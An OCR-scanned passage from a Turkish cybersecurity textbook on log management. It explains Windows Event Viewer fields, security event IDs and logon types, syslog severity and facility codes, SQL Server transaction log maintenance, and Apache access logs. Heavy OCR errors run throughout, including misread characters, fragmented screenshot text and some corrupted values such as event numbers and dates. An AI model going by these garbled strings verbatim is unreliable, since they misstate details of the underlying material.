davranislari, uygulama faaliyetleri gibi calismalarin izlenerek kaydedildigi log kayitlaridir (Gorsel 3.13).
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Gorsel 3.13: Olay Goruntileyicisi

Olay gunliikleri, sistemde meydana gelen sorunlarin kdkenine ulasmak igin vazgecilmez bir kaynaktr.
Bu sorunlar; donanim arizalarindan yazilim hatalarina, glivenlik agiklarindan performans problemlerine
kadar uzanabilir. Sistem yoneticileri ve glivenlik analistleri, karsilasilan bir problemin nedenini anlamak
icin cogunlukla o olaydan 6nceki log kayitlarina basvurur.

Olay gnlikleri, bir sistemin isleyisine dair 6nemli verileri dizenli olarak kaydeden, sistemin hem
saghgini hem de glvenligini izlemeye yardimci olan kritik araglardir. Bu ginliklerin 6ne ¢ikan bazi
ozelliklerini su sekilde siralayabiliriz:

1. Olaylarin Kayit Altina Alinmasi

Sistem Uzerinde gerceklesen belirli olaylar, zaman sirasina gore diizenli bicimde kayit altina alinir. Bu
olaylar; kullanicilarin giris cikislari, uygulama hatalari, servis durmalari gibi sistemin ¢alismasini etkileyen
durumlari igerebilir. Bu sayede ge¢mise doniik izleme ve analiz miimkin hale gelir.

2. Sorunlarin Tespiti ve Analizi

Bir uygulama beklenmedik sekilde kapandiginda veya sistemde bir anormallik yasandiginda olay
gunlukleri genellikle ilk basvurulan kaynaktr. Gelistiriciler ve sistem yoneticileri; bu loglar araciligiyla
hatalarin ne zaman ve nasil ortaya ciktigini analiz edebilir, bdylece problemin kdkenine ulasabilir.

3. Giivenlik Takibi ve Denetimi

Sistemlere yénelik siipheli veya yetkisiz erisim girisimleri de olay giinliiklerinde kayit altina alinir. Ornegin
bir kullanicinin art arda yanlis sifre girmesi veya belirli bir kaynaga olagan disi erisim denemeleri bu
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loglara yansir. Bu tir kayitlar, glivenlik olaylarini incelemek ve gerektiginde miidahalede bulunmak icin
hayati 6Gneme sahiptir.

4. Ginliklerin Cesitliligi

Her olay ayni tiirde kayitlanmaz. Farkli islevlere hizmet eden cesitli log tirleri bulunur (Gorsel 3.14).
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Gorsel 3.14: Gunllklerin gesitleri
Sistem Giinliikleri: Donanim ve isletim sistemi ile ilgili gelismeleri icerir.
Uygulama Giinliikleri: Yazilimlar galisirken olusan durumlari ve hatalari kaydeder.

Giivenlik Gunliikleri: Kullanicilarin sisteme nasil, ne zaman eristigi gibi kimlik dogrulama ve yetkilendirme
sureclerini takip eder.

Tablo 3.5’te Olay Goriintileyicisi ile erisilen bazi yaygin olay goriintileyici log tirleri agiklanmistir.

Tablo 3.5: Log Turleri ve Agiklamalari

Log Turii Agiklama

Uygulama Uygulamalar tarafindan olusturulan loglar (6rnegin bir antivirls uyarisi)
Sistem Windows sistem bilesenlerinden gelen loglar (6rnegin stirlicti hatasi)
Giivenlik Giris-cikislar, yetkilendirme olaylari gibi glivenlikle ilgili loglar

Kur Sistem kurulumuna ait bilgiler

iletilen Olaylar Baska cihazlardan toplanan loglar
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Siber glvenligin temel yapi taslarindan biri olan olay gunlikleri (event loglar), sadece sistem
davranislarini izlemekle kalmaz. Ayni zamanda olasi tehditleri dnceden fark etme, miidahale etme ve
sonrasinda analiz etme imkani da sunar. Olay giinliklerinin siber glivenlik agisindan 6nemi su sekilde
siralanabilir:

1. Anomali Tespiti

Olay giinliikleri, sistemdeki olagan disi davranislari tespit etmek icin giiglii bir aractir. Ornegin sabaha
karsi 03:00 sularinda gergeklestirilen ardisik basarisiz giris denemeleri, olagan bir kullanici davranisi
olmayabilir. Potansiyel bir saldiri girisiminin habercisi olabilir. Bu tiir anormallikler, glivenlik ekiplerine
erken uyari niteligi tasir.

2. Olaylara Miidahale Siirecini Destekleme

Gergeklesen bir siber olayin ardindan sistemde neler yasandigini adim adim anlamak, dogru ve
zamaninda mudahale icin kritik 6nem tasir. Log kayitlari; olayin baslangi¢c noktasi, yayllma sekli ve
etkiledigi bilesenler hakkinda detayh bilgiler sunarak mudahale siirecinin dogru yapilandiriimasina
katki saglar.

3. AdIi Bilisim (Dijital Delil Toplama)

Siber suclara iliskin teknik incelemelerde olay glinlUkleri, dijital delil olarak kullanilir. Bu kayitlar;
saldirganin kimligine ulasma, kullanilan yontemleri belirleme ve adli siireglerde gegerli kanit sunma
acisindan buylik 6nem tasir.

4. Yasal Uyumluluk Gereklilikleri

Bircok ulusal ve uluslararasi givenlik standardi, sistemlerin diizenli ve glivenilir sekilde log kaydi
tutmasini zorunlu kilar. ISO/IEC 27001, KVKK (Kisisel Verilerin Korunmasi Kanunu), Avrupa Birligi Genel
Veri Koruma Tizugl (GDPR) gibi diizenlemeler, bu konuda acgik hiikiimler icerir. Olay ginliklerinin
dizenli olarak olusturulmasi, sadece teknik degil ayni zamanda hukuki bir sorumluluktur (Gorsel 3.15).

Gorsel 3.15: GDPR uyumlulugu
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Windows isletim sistemde gerceklesen olaylar, Olay Goriintileyicisi sisteminde kayit altina alir (Gorsel
3.16). Bu sayede sistemde hangi olaylarin meydana geldigi gériintilenebilir ve neden olustugu analiz

edilebilir.
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Gorsel 3.16: Olay Goruntileyicisi ekrani
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Windows Olay Gorlintlleyicisi'nde her olay kaydi, belirli alanlarla yapilandiriimistir (Gorsel 3.17). Bu
alanlar sayesinde olayin ne oldugu, ne zaman gergeklestigi ve hangi bilesenle ilgili oldugu anlasilabilir

(Tablo 3.6).

Tablo 3.6: Olay Gorlintileyici Alanlari ve Acgiklamalari

Alan Ad: - Adkema__________

Tarih/Saat

Olayin ne zaman gerceklestigini gosterir.

Kaynak (Source)

Olayin hangi servis, uygulama veya bilesen tarafindan olusturuldugunu

belirtir.

Olay Kimligi (Event ID)

Olayr tanimlayan benzersiz numaradir. Ayni olayin farkli sistemlerde

karsilastirilmasina yardimci olur.

Kategori (Task Category)

Olayin ait oldugu islem veya alt gorev kategorisidir.

Diizey (Level)

Olayin 6nem derecesini belirtir (bilgi, uyari, hata, kritik vb.).

Kullanici (User)

Olayi tetikleyen kullanici hesabini gosterir.

Bilgisayar (Computer)

Olayin kaydedildigi sistemin adi veya IP adresidir.

Aciklama (Description)

Olayla ilgili detayl agiklamalar igerir.
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Gorsel 3.17: Olay kayitlari

Windows isletim sistemlerinde her olay, belirli bir kimlikle (Event ID) kaydedilir. Bu kimlikler, olay tirin
hizlica anlamaya ve giivenlik analizleri yapmaya olanak tanir. Tablo 3.7’de glivenlik agisindan kritik kabul
edilen bazi 6nemli Event ID’ler yer alir.

Tablo 3.7: Event ID ve Agiklamalari

Bagarili oturum agma

4624 Bir kullanici sisteme basariyla giris yapti. Glvenlik denetimi icin temel
olaylardan biridir.

Basarisiz oturum agma

4625 Hatali parola veya kullanici adi ile yapilan giris denemesidir. Brute-force
saldiri tespitinde kullanilir.

Yiiksek ayricalikli oturum agma

4672 Ozel yetkileri olan bir kullanici (ydnetici gibi), sisteme giris yapt. izlenmesi
kritik olaylardandir.

Yeni islem baglatildi.

4688 Bir kullanici veya sistem tarafindan yeni bir islem (6rnegin bir program)
cahistirlldi. Zararli yazilim analizi igin 6nemlidir.

islem sonlandirildi.

4689 Daha 6nce baslatilmis bir islem sonlandirildi. Siireg¢ takibi agisindan

kullantlr.

Tablonun devami =——J
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Yeni kullanici hesabi olusturuldu.

4720 Sistem Uzerinde yeni bir hesap acildi. Yetkisiz erisimlerin tespiti igin
kontrol edilmelidir.

Kullanici hesabi silindi.

4726 Var olan bir kullanici hesabi sistemden kaldirildi. Glivenlik ihlali gostergesi
olabilir.
Kullanici parolasini degistirdi.

4723
Bir kullanici kendi sifresini degistirdi. Sipheli etkinliklerde kontrol edilir.
Kerberos 6n kimlik dogrulama hatasi

4771 Genellikle hatali parola girislerini veya kimlik dogrulama sorunlarini
gosterir.
Aga paylastirilmis kaynaga erisim

5140 Kullanici veya sistem, agdaki bir paylasima erismeye calisti. Dosya

paylagimi Gzerinden sizma girisimlerini gosterebilir.

Windows Olay Gorlintlleyicisi izerinden olay kimlik numaralarina bakarak olaylari analiz etmek
mimkun olur. Cok sayida ve kisa zamanda sistemde gercgeklesen basarisiz oturum agma girisimi, 4625
numaral olay kimligi numarasindan fark edilebilir. Bu durum, sistemin yetkisiz erisim denemelerine
maruz kaldigini ve olasi bir brute-force saldirisinin gerceklestigini disindarir. Bu tir olaylar, sistem
yoneticilerinin glvenlik aciklarini degerlendirmesi ve gerekli 6nlemleri almasi acisindan oldukca
onemlidir. Gorsel 3.18’deki Olay Goruntileyicisi Gzerinden alinan loglar incelendiginde ¢ok sayida
basarisiz oturum agma girisimi tespit edilir. Bu durum, sistemin yetkisiz erisim denemelerine maruz
kaldigini ve potansiyel bir brute-force saldirisi olabilecegini gosterir.

Giivenlik  Olay sayisi: 30.776 (!) Yeni olaylar var
Anahtar sozctikler Tarih ve Saat Olay Kimligi Gorev Kategorisi

a Hata Denetle 26.05.2025 17:01:20 Microsoft Windows security auditi.. 4625 Logon
g Hata Denetle 26.05.2025 1701:34 Microsoft Windows security auditi...

ﬁ Hata Denetle 26052025 17:02:13 Microsoft Windows security auditi..
fi Hata Denetle 26052025 17:02:15 Microsoft Windows security auditi..
5 Hata Denetle 26.05.2025 17:01:23 Microsoft Windows security auditi...
5 Hata Denetle 26.05.2025 17:01:25 Microsoft Windows security auditi..

3 Hata Denetle 26.05.2025 17:01:22 Microsoft Windows security auditi..

o >

Gorsel 3.18: Basarisiz oturum agma istegi

Olay kayitlarinin igerigi incelendiginde her bir girisimin ayrintilarinda yer alan Oturum Turu bilgisi, olayin
kaynagi ve tirt hakkinda énemli ipuglari sunar (Gorsel 3.19). Farkli logon tirleri, etkilesimli oturum
acmalardan uzaktan erisim girisimlerine kadar cesitli senaryolari yansitabilir. Bu bilgiler, olaylarin
birbirleriyle baglantisini kurmak ve giivenlik analizlerinde daha derinlemesine yorum yapmak agisindan
kritik Gneme sahiptir.
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Olay 4623, Microsoft Windows security auditing,

Genel  Aynntilar

Bir hesap oturum agamadi. o)
Konu:

Glvenlik Kimligi: SYSTEM

Hesap Adi: LAPTOP-STUES57RS

Hesap Etki Alan:: WORKGROUP

Oturum A¢ma Kimligi: 0x3E7
Oturum Tdri: 2

Oturumu Agilamayan Hesap:

Guvenlik Kimligi: NULL SID

Hesap Ad:: -

Hesap Etki Alan::
Ganlak Adr Guivenlik
Kaynak: Microsoft Windows security auditi  Glnlige kaydedilen: 26052025 17:01:20

I Olay Kimligi: 4625 I Garev Kategorisi: Logon

Diizey: Bilgi Anahtar Sozciikler  Hata Denetle
Kullanicr: Yok Bilgisayar: LAPTOP-S7UE957R
Islemn kodu: Bilgi
Ek Bilgi: lay Ginlaga imigi Yard:

Gorsel 3.19: Log kaydinin ayrintisi

Tablo 3.8'de Oturum Tiirii (Logon Types) icin logon tip numarasi, logon adi (title) ve agiklamalarini
iceren bilgiler ayrintilari ile yer alir.

Tablo 3.8: Oturum Agma Tir{ ve Agiklamalari

Oturum A¢ma Tiirii .
. Oturum A¢ma Bashigi
(Logon Tipi)

Kullanicinin bilgisayarda dogrudan fiziksel
2 Etkilesimli Oturum A¢ma olarak oturum agmasidir (6rnegin klavye
ve ekran ile giris yapilmasi).

Ag lizerinden yapilan oturum agma
3 Ag Uzerinden Oturum A¢ma islemleridir (6rnegin paylasilan bir klasére
veya aga baglh bir kaynaga erisim).

Gorev Zamanlayicisi (Task Scheduler)
4 Toplu Oturum A¢ma gibi otomatik calisan gorevler tarafindan
yapilan oturum a¢ma islemleridir.

Bilgisayarda calisan bir hizmet (service)
5 Hizmet Oturumu tarafindan gergeklestirilen oturum agma
islemidir.

Kilitlenmis bir oturumun kullanici
tarafindan yeniden agilmasi (6rnegin
bilgisayar kilitlendiginde parolanin
girilmesiyle tekrar giris) islemidir.

7 Kilit Agma

Tablonun devami =——p
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Oturum Agma .
. . Oturum A¢ma Basligi
Tiirii (Logon Tipi)

Sifrenin ag Gizerinden acgik metin olarak gonderildigi

Ag Uzerinden Diiz Metinle

8 oturum agma turtdir. Genellikle eski ve glivensiz

Oturum R
protokollerde gorilir.

g Yeni Kimlik Bilgileri ile Farkli calistir (RunAs) komutu kullanilarak farkli bir
Oturum kullanici hesabi ile yapilan oturum agma islemidir.

10 Uzak Etkilesimli Oturum | Uzak Masadstl (Remote Desktop, RDP gibi) araglarla
Agma yapilan oturum agma girisimleridir.
.. . Ag baglantisi olmadan, daha 6nce dogrulanmis kimlik
Onbellege Alinmig . R

11 bilgileri kullanilarak yapilan oturum agmadir (6rnegin

Etkilesimli Oturum
g dizUsti bilgisayarda ¢evrimdisi).

Windows Olay Goriintileyici (Event Viewer) icinde her olay, bir Diizey (Level) ile siniflandirilir. Bu
diizeyler, olayin 6nem derecesini ve sistem lzerindeki etkisini anlamaya yardimci olur (Gorsel 3.20).

Dizey Tarih ve Saat Kaynak Olay Kim.. Gérev Kat. &
@ eilgi 26052025 17:26:17 Kernel-General 16 Yok
(D Bilgi 26052025 170300 Kemel-General 16 Yok
@Bilgi 26)05.2025 170425 Service Control Manager 70420 Yok
0 Hata 26052025 170415 Service Control Manager 7000 Yok
0 Hata 26052025 170415 Service Control Manager 7009 Yok
I:DBilgi 26052025 1704:14 Kernel-General 16 Yok
(D Bilgi 26052025 170309 Kemel-General 16 Yok
(1 Bilgi 26052025 170309 Kemel-General 16 Yok =

Gorsel 3.20: Olay Goruntileyici dlzeyleri

Olay dizeyleri, sistemde gerceklesen olaylarin ciddiyet derecesini ifade eder. Olay Goérintileyici'deki
sistem loglarinda en yaygin kullanilan bes dlzey vardir. Her biri farkli bir durumu belirtir (Tablo 3.9).

Tablo 3.9: Diizeyler ve Agiklamalari

Diizey
(Level) “ feidams

Sistemin ¢calismasini engelleyen, acil miidahale gerektiren ciddi

1 Kritik (Critical
ritik (Critical) hatalardir.

Uygulama veya hizmetin beklenmeyen sekilde basarisiz oldugu

2 Hata (Error)
olaylardir.

3 Uyari (Warning) | Potansiyel sorunlari veya performans kayiplarini belirtir.
Bilgi
(Information)

Basarili islemleri ve sistemin dizgiin ¢alistigini bildiren olaylardir.

Daha derin teknik detay iceren olaylardir. Genellikle hata ayiklamada

5 Ayrinti (Verbose)
kullantlir.
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3.1.6.2. Syslog (Unix/Linux Loglari)

Syslog; Linux tabanli sistemin genel durumu, kullanici aktiviteleri, uyarilar, hata mesajlari, raporlar
gibi gerceklesen olaylari kayit altina alan temel bir loglama sistemidir. Sistem yoneticileri ve glvenlik
analistleri agisindan kritik 6neme sahip bu yapi, gegmise donik olaylarin izlenmesini saglayarak glivenlik
aciklarinin belirlenmesi, performans degerlendirmesi yapilmasi, olasi sorunlarin tespiti gibi pek ¢ok
alanda yol gosterici olur. Bu loglarin analizi, sorunlarin kékenine ulasmak ve gerekli miidahaleleri
gerceklestirmek icin blylik 6nem arz eder (Gorsel 3.21).

Syslog =S

Gorsel 3.21: Syslog

Syslog’un sundugu en o6nemli avantajlardan biri de sistem loglarinin farkh bir sunucuya
yonlendirilebilmesidir. Boylece birden fazla bilgisayardan toplanan loglar, merkezi bir noktada
birlestirilebilir ve bu merkezden tiim sistemler izlenip yonetilebilir. Geleneksel Linux dagitimlarinda
bu islemler genellikle /etc/syslog.conf dosyasi tizerinden yapilandirilirken bugin daha fazla 6zellik ve
esneklik sunan rsyslog, journald, syslog-ng gibi servisler yaygin olarak kullanilr.

Log dosyalari sistemde ¢cogunlukla /var/log dizini altinda tutulur. Bu dizin, Syslog altyapisiyla olusturulan
tim glinltk kayitlarinin depolandigi temel klasordiir. Bu kayitlar, sistemin olagan disi davranislarini veya
performansla ilgili aksakliklari erkenden fark etme imkani tanir. Béylece yoneticiler, sistemin glvenli ve
sorunsuz galismasini stirdirebilir. Loglarin Linux sistemlerde kaydedildigi yerler varsayilan olarak Tablo
3.10’da oldugu sekildedir.

Tablo 3.10: Linux Log Dosyalari ve Agiklamalari

Log Dosyasi _ Aakema

/var/log/syslog Genel sistem mesajlar
/var/log/messages Daemon ve sistemle ilgili loglar
/var/log/auth.log Kimlik dogrulama girisimleri
/var/log/kern.log Kernel ile ilgili loglar
/var/log/cron.log Zamanlanmis gorevlerle ilgili loglar
/var/log/boot.log Baslangic sirasinda olusan loglar
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Severity (Onem Derecesi), bir sistemde veya uygulamada olusan olayin, hatanin veya mesajin ne kadar
kritik yahut 6nemli oldugunu belirten bir siniflandirmadir.

Syslog ve benzeri log sistemlerinde her log mesajina bir severity seviyesi atanir. Bu seviye, mesajin
aciliyetini ve 6nemini ifade eder. Boylece sistem yoneticileri, kritik sorunlari hizlica ayirt edip dncelik
verebilir. Tablo 3.11’de severity kodlari ve anlamlari, agiklamalariyla beraber verilmistir.

Tablo 3.11: Onem Dereceleri ve Agiklamalari

S it
everity Anlami (Tiirkce)
Kodu

Emergency Acil Durum Sistem kullanilamaz, derhal midahale gerekir.
1 Alert Uyari Hemen mudahale edilmesi gereken ciddi sorundur.
2 Critical Kritik Kritik hata, sistemin 6nemli kismi etkilenmistir.
3 Error Hata Bir hata olusmus ama sistem genel olarak
calisiyordur.
Warning Uyari Potansiyel problem, dikkat gerektirir.
5 Notice Bildirim Normal ama énemli olaylardir.
Informational Bilgilendirme Sistemle ilgili bilgilendirici mesajlardir.
7 Debug :—I;:;,:;llklama Gelistiriciler icin detayh hata ayiklama bilgisidir.

Syslog Facility, Syslog protokoliinde log mesajlarinin hangi kaynaktan veya sistem bileseninden geldigini
belirtmek icin kullanilan bir kategorilendirme sistemidir. Baska bir ifadeyle logun ait oldugu béliim veya
servis denilebilir. Facility sayesinde loglar, sistemin farkli bilesenlerine gére gruplanabilir ve yonetilebilir.
Tablo 3.12'de facility kodlari ve anlamlari agiklamalariyla beraber verilmistir.

Tablo 3.12: Facility Kodu ve Agiklamalari

Facility Kodu | FacilityAdr | Agklama |

0 kern Kernel (cekirdek) ile ilgili mesajlar

1 user Kullanici seviyesindeki strecler

2 mail E-posta sistemi ile ilgili loglar

3 daemon Arka plan servisleri ve daemonlar

4 auth Kimlik dogrulama ve glivenlik olaylari

5 syslog Syslog islemleri ve yonetimi ile ilgili mesajlar

6 lpr Yazici sistemi ile ilgili mesajlar

7 news Haber sunuculari ve haber iletimi ile ilgili loglar
8 uucp UUCP (Unix-to-Unix Copy Program) islemleri

9 cron Zamanlanmis gorevler (cron) ile ilgili loglar

10 authpriv Ozel kimlik dogrulama olaylari (gizli)

11 ftp FTP servisi ile ilgili mesajlar

12 ntp Network Time Protocol (zaman senkronizasyonu)
13 audit Denetim (audit) sistemleri ile ilgili mesajlar

14 alert Sistem kritik uyarilari (alert)

15 clock Saat ve zaman ile ilgili mesajlar
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Kali Linux isletim sisteminden alinan ve Gorsel 3.22’de bulunan 6rnek log kaydi,
root kullanicisi icin yeni bir oturumun basariyla baslatildigini gosterir. Baska bir
ifadeyle fiziksel veya grafiksel oturumda root kullanici olarak giris yapildigini
dogrular.

18
ion opened for u
ion opened for u

i
r root(ul
user roo
user root{uid
user root{u

Gorsel 3.22: Basarili oturum agma Syslog kaydi

May 26 19:57:44 kali lightdm[1152]: pam_unix(lightdm:session): session opened for user root(uid=0)
by root(uid=0)

Gorselden alinan log pargasi incelendiginde Tablo 3.13’teki anlamlar ¢ikar.

Tablo 3.13: Log Pargalari ve Agiklamalari

May 26 19:57:44 Olayin gergeklestigi tarih ve saat (26 Mayis, 19:57:44)
kali Olayin gergeklestigi bilgisayarin adi [hostname (bu 6rnekte kali)]

Olayi olusturan sireg (process) ve PID'si. Burada LightDM (Linux

lightdm[1152
& : ] icin bir oturum agma yoneticisi) ve slire¢ numarasi 1152

PAM (Pluggable Authentication Modules) unix modiliinden gelen

am_unix(lightdm:session):
S (lig ) mesaj, burada lightdm oturumu ile ilgili

session opened for user Root kullanicisi igin oturum agildigl anlamina gelir. UID=0 root
root(uid=0) kullanicisinin sistemdeki ID numarasidir.

Bu oturumu baslatan kullanici da roottur (baska bir ifadeyle

b t(uid=0
y root(uid=0) kendisi root kullanicisi).

journalctl veya /var/log altindaki klasik metin tabanli log dosyalarinda facility ve severity alanlari
dogrudan goriinmez ancak bu bilgiler, aslinda her log girdisinin icinde yer alir. Sadece varsayilan
formatta gizlidir. Syslog protokoli, her log mesajinin basina bir PRI (priority) degeri yazar.

Bu Deger: PRI = (facility * 8) + severity

Bu PRI degeri, cogu zaman logun basina binary veya sayi olarak eklenir ama journalctl, rsyslog,
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systemd-journald gibi servisler bu degeri isleyerek sadece gerekli kismi (mesaj) gosterir. Kullanilan
Linux sisteme gore 6zel komutlar yazilarak bu degerler Gorsel 3.23'teki gibi gorlintilenebilir. Gorsel
3.23’te Linux g¢ekirdegi (kernel) ile ilgili bir hata ve uyari mesajlarinin ¢iktisi goralir. 0 5 ve 0 6 gibi
ifadelerdeki ilk O kernel (facility: kern), ikinci say! ise severity seviyesini gosterir.

1d (GNU Binutils for

2 ro guiet splash

605 fpu__init_system_xstate+
-kali5-amd64 #1 Debian 6.1.12-1kali2

99 bb b8 ff 8@ 75 90 44 ¢

Gorsel 3.23: PRI degerli log gdsterimi

Her veri tabani isleminde (INSERT, UPDATE, DELETE gibi) yapilan degisiklikler, transaction log dosyasina
zaman sirasina gore kaydedilir. Bu sirali kayit yapisi sayesinde sistemdeki her adim izlenebilir hale
gelir. Log dosyalari, istisnai durumlar (6rnegin BULK IMPORT veya SELECT INTO islemleri) disinda
tiim transactionlari kayit altina alir. Ornegin bir bankacilik sisteminde para transferi sirasinda elektrik
kesintisi olursa transaction log sayesinde islem ya tamamlanir ya da hi¢ yapiimamis sayilir. Bu kayitlarin
faydalari séyledir:

+ Veri bitiinliigi saglanmasi (ACID kurallari)
« Sistem ¢6kmelerinde islemlerin geri alinmasi (ROLLBACK).

« Point-in-Time Recovery ile belirli bir ana donilmesi

Her transactionin baslangicinda bir Log Sequence Number (LSN) atanir. Bu numara, islemlerin sirali
takibini saglar.
BEGIN TRAN;
ORNEK | ppATE Musteriler SET Bakiye = Bakiye - 100 WHERE ID = 1;
UPDATE Musteriler SET Bakiye = Bakiye + 100 WHERE ID = 2;
COMMIT;

Buislemde her adim loga yazilir. COMMIT Oncesi sistem ¢okerse SQL Server, logu kullanarak degisiklikleri
geri alir.

Transaction log, Virtual Log Files (VLF) adi verilen mantiksal pargalara bolunir. VLFlerin doluluk
durumuna gore sistem, siradaki erisilebilir parcaya veri yazmaya devam eder. Bu dongisel yapi
sayesinde ge¢misteki islemler commit edildikten ve diske yazildiktan sonra inaktif hale gelen VLFler,
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tekrar kullanilabilir hale gelir. Boylece log dosyasinin verimli bir sekilde yonetilmesi saglanir. VLFlerle
su iki durumda karsilasihir:

1. Aktif VLF: Su an kullanilan kayitlardr.
2. Pasif VLF: Kesilmis (truncated) ve yeniden kullanilabilir durumdaki kayitlardir.

VLF'lerin kontrolG igcin DBCC LOGINFO(‘VeritabaniAdi’) komutu kullanilir. Cok fazla VLF olmasi,
performans sorunlarina yol agar (Log okuma yazma hizi diiser). Transaction logun siirekli biyimemesi
icin SQL Server, CHECKPOINT islemiyle bellekten diske veri yazdiktan sonra artik gerekmeyen log
kayitlarini keser.

Log kesmenin engellendigi durumlar sunlardir:
« Acik Transaction olmasi (COMMIT/ROLLBACK yapilmamis)
« Log Backup’inin alinmamasi (FULL veya BULK_LOGGED kurtarma modelinde)
« Veri tabaninin MIRRORING veya REPLICATION kullanmasi

Durum kontroli séyle yapilir:

SELECT name, log_reuse_wait_desc FROM sys.databases;
LOG_BACKUP goriiniyorsa log yedegi soyle alinmalidir:

BACKUP LOG VeritabaniAdi TO DISK = ‘C:\Backup\LogBackup.trn’;

Veritabanindayapilan herislem, log dosyasina kaydedildiginden zaman icinde dosya boyutunun artmasi
kacinilmazdir. Bu nedenle log dosyalarinin bakiminin sistem ihtiyaglarina uygun sekilde diizenli olarak
yapilmasi gerekir. SQL Server, loglarin yonetimini kolaylastirmak igin Ug farkli recovery (geri yiikleme)
modeli sunar.

1. Simple Recovery Model

Modelde, transaction log backup alma destegi bulunmaz. SQL Server, log dosyalarini otomatik
olarak temizler ve bos alanlari tekrar kullanilabilir hale getirir ancak bu otomatik sistem, veri kaybi
riskini artirabilir ve kritik sistemler icin 6nerilmez.

2. Bulk-Logged Recovery Model

Model, log yedeklemesine olanak tanirken bilylk veri islemlerini (bulk operations) minimal
diizeyde kaydederek log biyiikliginl kontrol altinda tutar. Loglarin geri kullanilabilir hale gelmesi
icin yedekleme islemlerinin diizenli yapilmasi gerekir. Aksi halde loglar silinemez.

3. Full Recovery Model

En glvenli model olan Full Recovery’de tiim islemler, log dosyasina eksiksiz bicimde yazilir. Bu sayede
veri kaybi riski minimize edilir ancak loglarin otomatik olarak silinmedigi bu modelde, dosya boyutu
cok daha hizh buyldme egilimi gosterir. Bu nedenle dizenli log yedeklemeleri hayati 6nemdedir.

Transaction log’larin blylmesini kontrol altina almak ve disk alanini verimli kullanmak icin dizenli
backup stratejileri uygulanmalidir. SQL Server, log dosyasi yedeklendiginde bu alani truncate eder. Baska
bir ifadeyle inaktif olan kisimlar silinir ve tekrar kullanilabilir hadle gelir. Bu islem, sistem kaynaklarini

korumanin en etkili yollarindan biridir.
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Log alanlarinin ne kadar kullanildigi, DBCC SQLPERF(LOGSPACE); komut yapisi kullanilarak strekli
izlenmelidir. Bu tur kontrollerin 6zellikle ylksek trafige sahip veri tabanlarinda giinliik veya daha kisa

periyotlarla yapilmasi tavsiye edilir. Ayrica auto growth ayarlarinin sistem performansina uygun olarak
yapilandiriimasi, anlik disk doluluk sorunlarinin 6niine gecebilir.

Transaction log yedekleri, sistemde meydana gelebilecek veri kayiplarini minimum seviyeye indirir.
Ornegin on bes dakikalik araliklarla alinan log yedekleri, bir hata veya saldiri sonrasi sistemin yalnizca
son birkag dakikalik veriyi kaybetmesini saglar. Bu yapi sayesinde point-in-time recovery (belirli bir ana
geri donis) mimkin héle gelir.

Log dosyalari sadece veri kurtarma degil ayni zamanda sistemin glivenlik ve performans ge¢misini
incelemek agisindan da blyik dneme sahiptir. Bu yoniyle transaction loglar hem veri tabani yonetimi
hem de adli bilisim stireglerinde vazgecilmez bir veri kaynagidir. Biitiin bunlar diisiintldiigiinde 6rnekteki
yapida kurgulanmis bir transaction log, biitilin ihtiyaclari giderebilir.

ORNEK

-

1. Uygun Baslangi¢ Boyutu Belirleyin.
ALTER DATABASE VeritabaniAdi MODIFY FILE (NAME = ‘VeritabaniAdi_Log’, SIZE = 4GB);

2. Biiyliime Ayarlarini Optimize Edin.

Kicguk artislar (6rnegin %10 yerine 512 MB) fragmentasyonu azaltir.

3. Diizenli Log Yedekleri Alin (FULL kurtarma modelinde).
4. VLF Sayisini Kontrol Edin.
50-100 arasi idealdir. Fazlasi icin logu yeniden olusturun.
DBCC SHRINKFILE(“VeritabaniAdi_Log’, TRUNCATEONLY);
ALTER DATABASE VeritabaniAdi MODIFY FILE (NAME = “VeritabaniAdi_Log’, SIZE = 2GB);

Transaction Log Full Hatasi (Error 9002) ile karsilasildiginda ise su ¢6ziim adimlari uygulanarak hatanin
oniine gegilebilir:

1. Acik transactionlar bulunur.

DBCC OPENTRAN;

2. Gerekiyorsa log yedegi alinir.

BACKUP LOG VeritabaniAdi TO DISK = ‘C:\Backup\EmergencylLogBackup.trn’;

3. Log kicaltalir.
DBCC SHRINKFILE(“VeritabaniAdi_Log’, 1);

@ SIBER OLAYLARA MUDAHALE



3.1.6.4. Web Loglari

=
SIBER OLAY LOG YONETIMi

Web loglari, web sunucularinda gerceklesen her tiirli olayin (istek, hata, islem vb.) kayit altina alindigi
glnlik dosyalardir. Olay tespiti, saldiri analizi, sistem hatalarinin bulunmasi, trafik izleme gibi pek ¢ok
islemin temel bilgi kaynagini olusturur (Goérsel 3.24).

Gorsel 3.24: Web loglari

Web loglari, icerdikleri bilgi ve kullanim alanlarina bagl olarak soyle siniflandirilabilir:

Erisim Loglari (Access Logs)

Bir web sunucusunda barinan internet sitesini ziyaret eden kullanicilarin tiim hareketleri, erisim loglari
dosyasinda detayli sekilde kayit altina alinir. Hangi sayfalara girildigi, sunucunun bu isteklere verdigi
yanitlar, kullanilan tarayici, isletim sistemi gibi teknik detaylar bu kayitlar sayesinde takip edilebilir.

Ozellikle giivenlik analizleri ve performans optimizasyonu icin bu veriler biiyiik &nem tasir. Ziyaretginin
IP’si, tarih/zaman, yapilan istek (GET, POST), kullanilan tarayici bilgisi, durum kodu (200, 404, 500 vb.)
gibi bilgiler erisim loglari icinde bulunur ve glvenlik uzmanlarina fikir verir.

Apache web sunucusu tarafindan olusturulan erisim loglarinin format ve icerigi, C:\xampp\apache\
logs\access.log dosyasindan elde edilen veriler dogrultusunda Gorsel 3.25’te ayrintili olarak

gosterilmistir.

192.168.1.165 - [27/May/2825:15:45:@7
192.168.1.165 - [27/May/2825:15:45:87
192.168.1.165 - [27/May/2025: :a7
192.168.1.165 - [27/may/2825 a7
192.168.1.165 - [27/May/2@825 a7
192.168.1.165 - [27/may/2825 a7
192.168.1.165 - [27/May/2@825 11
192.168.1.165 - [27/may/2825 11
192.168.1.165 - [27/May/2@825 11
192.168.1.165 - [27/may/2825 11
192.168.1.165 - [27/May/2@825 11
192.168.1.165 - [27/may/2825 11
192.168.1.165 - [27/May/2@825 11
192.168.1.165 - [27/may/2825 11
192.168.1.165 - [27/May/2@825 18
192.168.1.165 - [27/may/2825 18
192.168.1.165 - [27/May/2@825 28
192.168.1.165 - [27/May/2825: 128
192.168.1.165 - [27/May/2@825 28
192.168.1.165 - [27/May/2825: 128
192.168.1.165 - [27/May/2@825 37
192.168.1.165 - [27/may/2825 37
192.168.1.165 - [27/May/2@825 43
192.168.1.165 - [27/may/2825 43
192.168.1.165 - [27/May/2@825 45
192.168.1.165 - [27/may/2825 45
192.168.1.165 - [27/May/2@825 49
192.168.1.165 - [27/may/2825 49
192.168.1.165 - [27/May/2@825 52
192.168.1.165 - [27/may/2825 52
192.168.1.165 - [27/May/2825:1 5:55
